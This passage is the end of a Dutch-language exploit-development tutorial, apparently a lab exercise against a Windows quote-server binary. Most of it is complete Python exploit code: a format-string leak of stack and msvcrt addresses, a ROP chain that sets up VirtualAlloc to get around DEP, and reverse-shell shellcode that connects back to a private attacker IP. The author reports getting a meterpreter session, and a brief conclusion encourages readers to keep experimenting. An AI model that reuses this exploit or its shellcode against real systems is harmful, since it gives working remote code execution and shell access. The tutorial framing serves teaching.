shellcode += b"\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c"
shellcode += b"\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0"
shellcode += b"\x8b\x58\x20\x01\xd3\x8b\x48\x18\x50\x85\xc9"
shellcode += b"\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31"
shellcode += b"\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4"
shellcode += b"\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58"
shellcode += b"\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01"
shellcode += b"\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
shellcode += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
shellcode += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
shellcode += b"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
shellcode += b"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29"
shellcode += b"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a"
shellcode += b"\x0a\x68\xc0\xa8\xb0\x16\x68\x02\x00\x11\x5c"
shellcode += b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68"
shellcode += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57"
shellcode += b"\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a"
shellcode += b"\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a"
shellcode += b"\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
shellcode += b"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68"
shellcode += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
shellcode += b"\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
shellcode += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28"
shellcode += b"\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
shellcode += b"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61"
shellcode += b"\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
shellcode += b"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6"
shellcode += b"\x75\xc1\xc3\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95"
shellcode += b"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff"
shellcode += b"\xd5"

Deze shellcode heb ik aan mijn exploit toegevoegd met padding. De volledige exploit code ziet er als volgt uit:

#!/usr/bin/python
import socket
import struct
host = "192.168.176.171"
port = 3700
# update_quote
buf = struct.pack("<L", (0x387)) # Opcode to call update_quote
buf += struct.pack("<L", (0x1))  # Index of quote to update
buf += b"%x" * 200
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buf)
s.close()
# get_quote
buf = struct.pack("<L", (0x385)) # Opcode to call get_quote
buf += struct.pack("<L", (0x1))  # Index of quote to get
buf += b"A" * 200
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buf)
res = s.recv(2048)
stackAddress = int(res[24:][:6],16)
print("[+] Leaked Stack Address: 0x" + hex(stackAddress)[2:].zfill(8))
stackBase = stackAddress-0x1b13
print("[+] Stack Base: 0x" + hex(stackBase)[2:].zfill(8))
leakedAddress = res[:8]
print("[+] MSVCRT Leaked Address: 0x" + leakedAddress.decode('utf-8'))
msvcrtBaseAddress = int(leakedAddress, 16) - 0x00067da0
print("[+] MSVCRT Addres: " + hex(msvcrtBaseAddress))
virtualAllocAddress = msvcrtBaseAddress + 0x000bb1b8
print("[+] VirtualAlloc Addres: " + hex(virtualAllocAddress))
s.close()
print("[+] Start Buffer Overflow")
# VirtualAlloc skeleton
va  = struct.pack("<L", (0x45454545)) # dummy VirutalAlloc Address
va += struct.pack("<L", (0x46464646)) # Shellcode Return Address
va += struct.pack("<L", (0x47474747)) # dummy lpAddress -> Shellcode Address
va += struct.pack("<L", (0x48484848)) # dummy dwSize -> 0x1
va += struct.pack("<L", (0x49494949)) # dummy flAllocationType -> 0x1000
va += struct.pack("<L", (0x51515151)) # dummy flProtect -> 0x40
buf = b"A" * (2064 - len(va))
buf += va
# Make a copy of EBX
rop = struct.pack("<L", (stackBase + 0x23b5)) # push esp ; xor eax, eax ; pop ebx ; pop esi ; ret
rop += struct.pack("<L", (0x42424242)) # junk
# Copy EBX to EAX
rop += struct.pack("<L", (stackBase + 0xf445)) # mov eax, ebx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
# Align
rop += struct.pack("<L", (stackBase + 0x3118)) # pop ecx ; ret
rop += struct.pack("<L", (0xffffffe4)) # -1C
rop += struct.pack("<L", (msvcrtBaseAddress + 0x39862)) # add eax, ecx ; pop esi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
# Copy EAX to EBX
rop += struct.pack("<L", (stackBase + 0x020b3)) # mov ebx, eax ; ret
# Patch VirtualAlloc
rop += struct.pack("<L", (stackBase + 0x03117)) # pop eax ; pop ecx ; ret
rop += struct.pack("<L", (virtualAllocAddress)) # VA
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x10925)) # mov eax, dword [eax] ; ret
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
# Align next
rop += struct.pack("<L", (stackBase + 0x20c2))  # add ebx, 0x04 ; ret
# Move ebx to eax
rop += struct.pack("<L", (stackBase + 0x02e05)) # mov eax, ebx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x020b3)) # mov ebx, eax ; ret
# Patch return address
rop += struct.pack("<L", (stackBase + 0x03118)) # pop ecx ; ret
rop += struct.pack("<L", (0x140)) # 94
rop += struct.pack("<L", (msvcrtBaseAddress + 0x39862)) # add eax, ecx ; pop esi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
# Align next
rop += struct.pack("<L", (stackBase + 0x20c2))  # add ebx, 0x04 ; ret
# Patch lpAddress
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
# Align next
rop += struct.pack("<L", (stackBase + 0x20c2))  # add ebx, 0x04 ; ret
# Patch dwSize
rop += struct.pack("<L", (stackBase + 0x03117)) # pop eax ; pop ecx ; ret
rop += struct.pack("<L", (0xffffffff)) # -1 value that is negated
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (stackBase + 0x014da)) # neg eax ; ret
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
# Align next
rop += struct.pack("<L", (stackBase + 0x20c2))  # add ebx, 0x04 ; ret
# patch flAllocationType
rop += struct.pack("<L", (stackBase + 0x03117)) # pop eax ; pop ecx ; ret
rop += struct.pack("<L", (0x80808080))
rop += struct.pack("<L", (0x80807080)) # sub to get 0x1000
rop += struct.pack("<L", (msvcrtBaseAddress + 0x8bde8)) # sub eax, ecx ; ret
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
# Align next
rop += struct.pack("<L", (stackBase + 0x20c2))  # add ebx, 0x04 ; ret
# Patch flProtect
rop += struct.pack("<L", (stackBase + 0x03117)) # pop eax ; pop ecx ; ret
rop += struct.pack("<L", (0x80808080))
rop += struct.pack("<L", (0x80808040)) # sub to get 0x40
rop += struct.pack("<L", (msvcrtBaseAddress + 0x8bde8)) # sub eax, ecx ; ret
rop += struct.pack("<L", (stackBase + 0x020ba)) # mov dword [ebx], eax ; ret
# Copy EBX to EAX
rop += struct.pack("<L", (stackBase + 0x02e05)) # mov eax, ebx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
rop += struct.pack("<L", (0x42424242)) # junk
# Align
rop += struct.pack("<L", (stackBase + 0x3118)) # pop ecx ; ret
rop += struct.pack("<L", (0x14)) # -20
rop += struct.pack("<L", (msvcrtBaseAddress + 0x8bde8)) # sub eax, ecx ; ret
# Move VirtualAlloc to ESP for execution
rop += struct.pack("<L", (stackBase + 0x0adae)) # xchg eax, esp ; ret
shellcode =  b""
shellcode += b"\x42" * 200 # padding
shellcode += b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2"
shellcode += b"\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x0f"
shellcode += b"\xb7\x4a\x26\x8b\x72\x28\x31\xff\x31\xc0\xac"
shellcode += b"\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
shellcode += b"\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c"
shellcode += b"\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0"
shellcode += b"\x8b\x58\x20\x01\xd3\x8b\x48\x18\x50\x85\xc9"
shellcode += b"\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31"
shellcode += b"\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4"
shellcode += b"\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58"
shellcode += b"\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01"
shellcode += b"\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
shellcode += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
shellcode += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
shellcode += b"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
shellcode += b"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29"
shellcode += b"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a"
shellcode += b"\x0a\x68\xc0\xa8\xb0\x16\x68\x02\x00\x11\x5c"
shellcode += b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68"
shellcode += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57"
shellcode += b"\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a"
shellcode += b"\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a"
shellcode += b"\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
shellcode += b"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68"
shellcode += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
shellcode += b"\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
shellcode += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28"
shellcode += b"\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
shellcode += b"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61"
shellcode += b"\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
shellcode += b"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6"
shellcode += b"\x75\xc1\xc3\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95"
shellcode += b"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff"
shellcode += b"\xd5"
padding = b"D" * (600-len(buf)-len(rop)-len(shellcode))
buf += rop + shellcode + padding
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buf)
s.close()
print("\nDone!")

Door de exploit te draaien heb ik een meterpreter sessie ontvangen op het systeem die het programma draait:

Conclusie

Dit artikel is een goed voorbeeld van exploit development, waarbij reverse engineering, format specifier attacks, ROP chaining en het ontwikkelen van een exploit stapsgewijs wordt uitgelegd.

Tot slot is het belangrijk om te benadrukken dat exploit development maatwerk is en dat het proces kan variëren afhankelijk van de specifieke applicatie, software, apparaat of besturingssysteem dat je target. Het ontwikkelen van exploits vereist een grondig begrip van zowel de kwetsbaarheid als de doelsoftware, en het vereist ook de vaardigheden om de juiste technieken te kiezen en te implementeren om de exploit te laten werken.

Hoewel dit artikel een stap-voor-stap handleiding biedt voor het ontwikkelen van een exploit die een memory corruption kwetsbaarheid gebruikt om remote code uitvoering te bereiken op een Windows-binary, is het belangrijk om te blijven verkennen, te blijven leren en de grenzen van wat mogelijk is in de wereld van exploit development te blijven verleggen.

Exploit development is een continu groeiend vakgebied en er zijn altijd nieuwe kwetsbaarheden en technieken om te ontdekken en te gebruiken. Dit artikel is slechts één voorbeeld van de vele mogelijkheden die beschikbaar zijn voor hackers die hun kennis willen uitbreiden op het gebied van exploit development en reverse engineering. Dus blijf leren, blijf experimenteren en blijf ontdekken wat mogelijk is!